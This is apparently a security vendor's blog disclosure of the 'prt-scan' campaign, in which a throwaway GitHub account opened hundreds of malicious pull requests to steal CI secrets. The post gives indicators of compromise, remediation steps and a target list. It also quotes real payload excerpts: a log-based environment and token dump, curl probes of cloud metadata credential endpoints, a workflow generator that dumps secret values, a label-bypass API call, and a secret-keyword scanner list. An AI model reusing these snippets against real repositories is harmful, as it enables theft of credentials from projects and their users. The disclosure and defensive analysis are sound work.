---
title: "prt-scan: A 5-Phase GitHub Actions Credential Theft Campaign"
description: "A throwaway GitHub account submitted 219+ malicious pull requests in a single day, each carrying a 352-line payload that steals CI secrets, injects workflows, bypasses label gates, and scans /proc for credentials. Five payload variants target GitHub Actions, npm, and Python ecosystems. First public disclosure."
url: "https://safedep.io/blog/prt-scan-github-actions-exfiltration-campaign"
author: "SafeDep Team"
published: "2026-04-03"
---

# prt-scan: A 5-Phase GitHub Actions Credential Theft Campaign

## TL;DR

On April 3, 2026, a one-day-old GitHub account (`ezmtebo`) submitted **256+ pull requests** across
open source repositories, each containing a multi-phase credential exfiltration payload. The attack
uses no external C2 infrastructure. It steals secrets through CI logs and PR comments, injects
temporary workflows to dump secret values, auto-applies labels to bypass `pull_request_target`
gates, and runs a background `/proc` scanner for 10 minutes after the main script exits. Five
distinct payload variants adapt to GitHub Actions, npm, and Python ecosystems.

**High-profile targets include:**

- [AWS SageMaker Core](https://github.com/aws/sagemaker-core/pull/393) (AWS ML infrastructure SDK)
- [Palo Alto Networks pan.dev](https://github.com/PaloAltoNetworks/pan.dev/pull/1169) (cybersecurity vendor developer portal)
- [Svelte](https://github.com/sveltejs/svelte/pull/18057) (frontend framework, ~80k stars)
- [SAP open-ux-tools](https://github.com/SAP/open-ux-tools/pull/4516) (enterprise UI tooling)
- [Red Hat Developer Hub](https://github.com/redhat-developer/rhdh-plugins/pull/2698) (developer platform plugins)

**Indicators of Compromise:**

- GitHub account: `ezmtebo` (UID 273211198), email `elzotebo+88@proton[.]me`
- Branch pattern: `prt-scan-<12-char-hex>`
- Commit message: `ci: update build configuration`
- Payload files: `.github/prt_exfil.sh`, modified `package.json` (preinstall hooks), `setup.py`, `conftest.py`
- Exfiltration markers in CI logs: `==PRT_EXFIL_START_<hex>==`, `==PRT_RECON_START_<hex>==`
- No external domains contacted. All exfil via GitHub API.

## Analysis

### The Account

The `ezmtebo` account was created on April 2, 2026, one day before the campaign launched. It has
46 public repositories, all forks, zero original content, zero followers. The commit email
(`elzotebo+88@proton.me`) uses Proton Mail plus-addressing, suggesting it is one instance of
a templated identity. The `+88` suffix implies other suffixes exist or have existed.

This is not the actor's first account. Pull requests from March 12, 2026 with the same
`prt-scan-*` branch pattern appear under the author `ghost`, GitHub's placeholder for deleted
accounts. Two targets from that earlier wave: `rkendel1/langextract` and
`lightspeed-core/lightspeed-stack`. The tooling has been active for at least three weeks.

### The Campaign

All 219+ PRs share identical metadata: the commit message `ci: update build configuration`, the
description `Automated build configuration update.`, and a branch name matching
`prt-scan-<12-char-hex>`. Targets span every major language and vertical, from `sveltejs/svelte`
and `SAP/open-ux-tools` to single-developer hobby repos. This is spray-and-pray. The actor needs
just one repo with a `pull_request_target` workflow that checks out the PR head, or an auto-merge
bot that does not inspect the diff.

### The Payload: Five Phases

The primary payload is `.github/prt_exfil.sh`, a 352-line bash script. We downloaded the
[complete diff](https://github.com/guibranco/pagarme-sdk-dotnet/pull/153) and verified every line.
It executes in five phases.

**Phase 1: Environment dump.** Four lines that run immediately:

```bash
# .github/prt_exfil.sh — lines 1-4
#!/bin/bash
echo "==PRT_EXFIL_START_71f961280e4f=="
(env; echo "PRT_GIT_AUTH=$(git config --get-all http.https://github.com/.extraheader 2>/dev/null || true)") | gzip -c | base64
echo "==PRT_EXFIL_END_71f961280e4f=="
```

This dumps the complete runtime environment plus the git HTTP extraheader (which contains the
`GITHUB_TOKEN` as a base64 Basic auth credential) to the CI log, compressed and encoded between
unique markers for automated extraction.

**Phase 2: API reconnaissance.** Uses the extracted token to enumerate secrets, workflows, cloud
metadata, and sensitive files:

```bash
# .github/prt_exfil.sh — lines 6-9 (token extraction)
__PRT_TK=$(git config --get-all http.https://github.com/.extraheader 2>/dev/null \
  | sed -n 's/.*basic //p' | base64 -d 2>/dev/null | cut -d: -f2)
[ -z "$__PRT_TK" ] && __PRT_TK="${GITHUB_TOKEN}"
```

With the token in hand, the script queries 15+ GitHub API endpoints: `/actions/secrets`,
`/actions/organization-secrets`, `/environments`, every workflow YAML (looking for `secrets.XXX`
references), token permission headers, repo metadata, OIDC tokens, and recent artifacts. It also
probes AWS, Azure, and GCP instance metadata endpoints at `169.254.169.254` and
`metadata.google.internal`. All output is gzip+base64 encoded with `##SECTION##` delimiters:

```bash
# .github/prt_exfil.sh — cloud metadata probes
echo "##CLOUD_AZURE##"
curl -s -H "Metadata: true" --connect-timeout 2 \
  "http://169.254.169.254/metadata/instance?api-version=2021-02-01" 2>/dev/null
echo "##CLOUD_AWS##"
curl -s --connect-timeout 2 \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/" 2>/dev/null
echo "##CLOUD_GCP##"
curl -s -H "Metadata-Flavor: Google" --connect-timeout 2 \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" 2>/dev/null
```

**Phase 3: Workflow injection.** If the token has push permission, embedded Python creates a
temporary workflow (`.github/workflows/.prt_tmp_<nonce>.yml`) on the default branch. That workflow
maps every discovered secret name into its `env:` block and runs `env | sort | gzip -c | base64`.
Then the script dispatches it:

```python
# Embedded in .github/prt_exfil.sh (Phase 3 Python)
env_block = '\n'.join(f'      {s}: ${{{{ secrets.{s} }}}}' for s in sorted(all_secrets))
wf_yaml = f'''name: prt-tmp-{nonce}
on: workflow_dispatch
jobs:
  grab:
    runs-on: ubuntu-latest
    env:
{env_block}
    steps:
      - name: run
        run: |
          echo "=={exfil_nonce}_START=="
          env | sort | gzip -c | base64
          echo "=={exfil_nonce}_END=="
'''
```

This is the critical escalation: Phase 2 can only see secret _names_. Phase 3 exfiltrates the
actual _values_ of every secret in the repository.

**Phase 4: Label bypass.** A base64-encoded Python script parses all workflow YAMLs for
`pull_request_target` triggers gated by labels. It extracts the required label name (defaulting
to `safe to test`), creates the label via the API, and applies it to the attacker's own PR.
This defeats what many projects consider their primary defense against malicious fork PRs:

```bash
# .github/prt_exfil.sh — label creation and application
curl -s -o /dev/null -w '%{http_code}' -X POST \
  -H "Authorization: Bearer $__PRT_TK" \
  "$__PRT_API/repos/$__PRT_R/labels" \
  -d '{"name":"'"$__LBL_NAME"'","color":"0e8a16"}'
```

**Phase 5: /proc scanner daemon.** The final payload is a base64-encoded Python script launched
as a background process (`python3 &`). It polls `/proc/*/environ` every 2 seconds for 10 minutes,
looking for new environment variables matching 22 high-value keywords:

```python
# Decoded from base64 blob in .github/prt_exfil.sh (Phase 5)
INTERESTING = [
    "NETLIFY", "ALCHEMY", "INFURA", "STRIPE", "AWS_SECRET",
    "NPM_TOKEN", "DOCKER", "CLOUDFLARE", "DATABASE_URL",
    "PRIVATE_KEY", "SENTRY", "SENDGRID", "TWILIO", "PAYPAL",
    "OPENAI", "ANTHROPIC", "GEMINI", "DEEPSEEK", "COHERE",
    "MONGODB", "REDIS_URL", "SSH_PRIVATE",
]
```

When it finds something, it posts the data as a PR comment via the GitHub API, compressed and
wrapped in `==PRT_DELAYED_START_<nonce>==` markers. This catches secrets injected by later CI
steps that were not present when the main script ran.

### Four Payload Variants

The standalone shell script is the primary variant, but the actor adapts delivery per ecosystem:

| Variant          | File                                    | Trigger              | Detection difficulty |
| ---------------- | --------------------------------------- | -------------------- | -------------------- |
| Shell script     | `.github/prt_exfil.sh` (352 lines)      | Workflow execution   | Low                  |
| Composite action | `action.yml` (35 lines, base64 blobs)   | Action step          | Medium               |
| npm hooks        | `package.json` (modified existing file) | `npm install`        | High                 |
| Python setup.py  | `setup.py` (single line)                | `pip install`        | Medium               |
| pytest conftest  | `conftest.py` (15 lines, double base64) | `pytest` (automatic) | High                 |

The npm variant ([tus/tus-node-server #822](https://github.com/tus/tus-node-server/pull/822))
does not add a new file. It replaces every npm script (`build`, `lint`, `test`) with a malicious
version that exfiltrates credentials, then **appends the original command** so builds appear to
work normally.

The pytest variant ([aws/sagemaker-core #393](https://github.com/aws/sagemaker-core/pull/393))
is equally dangerous. It adds a `conftest.py` that pytest auto-loads before any test execution,
no explicit import needed. Phase 1 is pure Python, Phases 2-4 are a base64-encoded shell script
run via `subprocess.run`, and Phase 5 uses **double base64 encoding**: an outer blob decodes to
a shell command that decodes an inner blob and pipes it to `python3 &`. This is a new obfuscation
layer not seen in other variants. The target is an AWS ML infrastructure SDK, likely with AWS
credentials in CI.

The composite action variant
([likec4/likec4 #2835](https://github.com/likec4/likec4/pull/2835)) embeds the entire payload as
base64 blobs inside a nested YAML file at
`.github/workflows/.github/actions/bootstrap/action.yml`, designed to look like legitimate
bootstrapping infrastructure.

### No External C2

A notable design choice: no attacker-controlled server is ever contacted. All exfiltration
happens through:

1. CI build log stdout (gzip+base64 between markers)
2. GitHub PR comments (via the API)
3. Dispatched workflow run logs

This makes network-based detection impossible. All traffic goes to `api.github.com` or
link-local cloud metadata IPs.

### Bot Detection Results

We examined automated review bot responses across multiple targeted repos:

| Bot         | Detection                                               |
| ----------- | ------------------------------------------------------- |
| CodeRabbit  | Flagged as critical across all variants tested          |
| Sourcery AI | Flagged exfiltration + label bypass                     |
| Qodo        | 3 critical blocking bugs, recommended incident response |
| gstraccini  | **Auto-approved** the malicious PR                      |
| Codacy      | Reported 0 issues                                       |

The gstraccini auto-approval is the worst outcome: it assigned a reviewer, applied triage labels,
and gave the PR a veneer of legitimacy. Codacy also missed it entirely. AI-powered review bots
(CodeRabbit, Sourcery, Qodo) caught it consistently, which is encouraging, but relying on them as
the sole gate is not sufficient.

## What to Do

If your repo received a PR from `ezmtebo` or a branch matching `prt-scan-*`:

1. **Close the PR immediately** without running CI
2. **Check workflow run logs** for `PRT_EXFIL_START` or `PRT_RECON_START` markers. If present,
   assume all CI secrets are compromised and rotate them
3. **Search your default branch** for `.prt_tmp_*.yml` files (Phase 3 workflow injection)
4. **Audit `pull_request_target` workflows** to ensure they do not checkout PR head code
5. **Report the account** to [GitHub Trust & Safety](https://github.com/contact/report-abuse)

The broader pattern is clear: `pull_request_target` with head checkout remains the most exploited
misconfiguration in GitHub Actions. Label gating is not a sufficient defense when the attacker's
token can create and apply labels. The safest configuration runs fork PR workflows in a restricted
context with no secrets access, using a separate privileged workflow triggered by maintainer
approval for anything that needs credentials.

## Appendix: Targeted Repositories

The campaign submitted 256 PRs as of investigation time. Below is a sample of confirmed
targets, prioritized by organizational profile. All PRs use the same commit message
(`ci: update build configuration`) and branch pattern (`prt-scan-<hex>`).

### Enterprise and Major Organizations

| Repository                                                                                               | PR    | Status | Domain                |
| -------------------------------------------------------------------------------------------------------- | ----- | ------ | --------------------- |
| [aws/sagemaker-core](https://github.com/aws/sagemaker-core/pull/393)                                     | #393  | Open   | AWS ML infrastructure |
| [PaloAltoNetworks/pan.dev](https://github.com/PaloAltoNetworks/pan.dev/pull/1169)                        | #1169 | Open   | Cybersecurity vendor  |
| [SAP/open-ux-tools](https://github.com/SAP/open-ux-tools/pull/4516)                                      | #4516 | Open   | Enterprise UI tooling |
| [SAP-samples/btp-cap-multitenant-saas](https://github.com/SAP-samples/btp-cap-multitenant-saas/pull/180) | #180  | Open   | SAP cloud platform    |
| [redhat-developer/rhdh-plugins](https://github.com/redhat-developer/rhdh-plugins/pull/2698)              | #2698 | Open   | Red Hat Developer Hub |
| [ydb-platform/nbs](https://github.com/ydb-platform/nbs/pull/5666)                                        | #5666 | Open   | YDB cloud storage     |
| [navikt/aktivitet-arena-acl](https://github.com/navikt/aktivitet-arena-acl/pull/153)                     | #153  | Closed | Norwegian gov (NAV)   |

### Major Open Source Projects

| Repository                                                                                                        | PR     | Status | Domain                          |
| ----------------------------------------------------------------------------------------------------------------- | ------ | ------ | ------------------------------- |
| [sveltejs/svelte](https://github.com/sveltejs/svelte/pull/18057)                                                  | #18057 | Closed | Frontend framework (~80k stars) |
| [zephyrproject-rtos/sdk-ng](https://github.com/zephyrproject-rtos/sdk-ng/pull/1129)                               | #1129  | Closed | Embedded RTOS framework         |
| [capstone-engine/llvm-capstone](https://github.com/capstone-engine/llvm-capstone/pull/90)                         | #90    | Closed | Disassembly framework           |
| [jhipster/generator-jhipster-react-native](https://github.com/jhipster/generator-jhipster-react-native/pull/2477) | #2477  | Closed | App generator                   |
| [RSS-Bridge/rss-bridge](https://github.com/RSS-Bridge/rss-bridge/pull/4952)                                       | #4952  | Closed | RSS feed tool                   |
| [flairNLP/fundus](https://github.com/flairNLP/fundus/pull/900)                                                    | #900   | Open   | NLP data extraction             |
| [tus/tus-node-server](https://github.com/tus/tus-node-server/pull/822)                                            | #822   | Closed | Upload protocol reference impl  |
| [yiisoft/demo-diary](https://github.com/yiisoft/demo-diary/pull/63)                                               | #63    | Closed | Yii framework demo              |

### Infrastructure and Security Tools

| Repository                                                                                | PR    | Status | Domain                  |
| ----------------------------------------------------------------------------------------- | ----- | ------ | ----------------------- |
| [shellhub-io/shellhub](https://github.com/shellhub-io/shellhub/pull/6114)                 | #6114 | Open   | Remote access platform  |
| [ansible-lockdown/Windows-Test](https://github.com/ansible-lockdown/Windows-Test/pull/23) | #23   | Closed | Security hardening      |
| [drk1wi/Modlishka](https://github.com/drk1wi/Modlishka/pull/360)                          | #360  | Closed | Reverse proxy tool      |
| [supernetes/supernetes](https://github.com/supernetes/supernetes/pull/144)                | #144  | Open   | Kubernetes tooling      |
| [kitspace/kitspace-v2](https://github.com/kitspace/kitspace-v2/pull/786)                  | #786  | Closed | Hardware design sharing |

### Payment and Financial

| Repository                                                                                           | PR   | Status | Domain              |
| ---------------------------------------------------------------------------------------------------- | ---- | ------ | ------------------- |
| [guibranco/pagarme-sdk-dotnet](https://github.com/guibranco/pagarme-sdk-dotnet/pull/153)             | #153 | Closed | Payment gateway SDK |
| [adyen-examples/adyen-magento2-hyva](https://github.com/adyen-examples/adyen-magento2-hyva/pull/142) | #142 | Closed | Payment integration |

### Other Notable Targets

| Repository                                                                                                                       | PR    | Status | Domain                   |
| -------------------------------------------------------------------------------------------------------------------------------- | ----- | ------ | ------------------------ |
| [likec4/likec4](https://github.com/likec4/likec4/pull/2835)                                                                      | #2835 | Open   | Architecture diagramming |
| [darlal/obsidian-switcher-plus](https://github.com/darlal/obsidian-switcher-plus/pull/236)                                       | #236  | Open   | Obsidian plugin          |
| [Wynntils/Wynntils](https://github.com/Wynntils/Wynntils/pull/3851)                                                              | #3851 | Closed | Minecraft game mod       |
| [meatpiHQ/wican-fw](https://github.com/meatpiHQ/wican-fw/pull/731)                                                               | #731  | Open   | IoT car WiFi adapter     |
| [ChainFuse/packages](https://github.com/ChainFuse/packages/pull/920)                                                             | #920  | Open   | Blockchain packages      |
| [Redback-Operations/redback-senior-tech](https://github.com/Redback-Operations/redback-senior-tech/pull/151)                     | #151  | Open   | IoT operations           |
| [athenianco/athenian-api](https://github.com/athenianco/athenian-api/pull/3679)                                                  | #3679 | Open   | Engineering analytics    |
| [StatFunGen/colocboost](https://github.com/StatFunGen/colocboost/pull/135)                                                       | #135  | Open   | Bioinformatics           |
| [osodevops/aws-terraform-module-cardano-stake-pool](https://github.com/osodevops/aws-terraform-module-cardano-stake-pool/pull/6) | #6    | Open   | Cardano/crypto infra     |
| [OpenBioCard/OpenBioCard](https://github.com/OpenBioCard/OpenBioCard/pull/8)                                                     | #8    | Open   | Bio data smart card      |

_Total confirmed: 256 PRs across 26 pages of search results. This table is a representative
sample. The full list can be retrieved via
`https://github.com/search?q=author%3Aezmtebo+is%3Apr&type=pullrequests`._

### CI Execution Analysis

None of the 256 PRs were merged. However, CI workflows **did execute** on several repos via
`pull_request_target` triggers. We investigated the four highest-risk cases in detail.

#### Confirmed Compromised: darlal/obsidian-switcher-plus

[PR #236](https://github.com/darlal/obsidian-switcher-plus/pull/236) used the npm hook
poisoning variant (Variant 3), modifying `package.json` to prepend malicious code to every
npm script. The repo's `test.yml` workflow uses `pull_request_target` and explicitly checks
out the PR head SHA:

```yaml
ref: |
  ${{ github.event.pull_request.head.sha || github.ref }}
```

The workflow then ran `npm ci` (triggering the `preinstall` hook), `npm run lint`,
`npm run bundle`, `npm run package-plugin`, and `npm run test`, all against the attacker's
poisoned `package.json`. The build **succeeded** with 99.86% test coverage, confirming the
legitimate code ran after the malicious prefixes executed. The coverage diff action also ran
`npm ci` a second time via `afterSwitchCommand`.

Secrets available during execution: `GITHUB_TOKEN`, `DIFF_ACTION_TOKEN` (a PAT).
A community member ([apstygo](https://github.com/darlal/obsidian-switcher-plus/pull/236))
flagged the PR as suspicious, and the maintainer closed it.

No `PRT_DELAYED_START` markers were found in PR comments, which may indicate the PR
comment-based exfiltration channel failed (insufficient `pull-requests: write` scope) or
the attacker retrieved data from CI logs directly via the `PRT_EXFIL_START` / `PRT_RECON_START`
markers in build output.
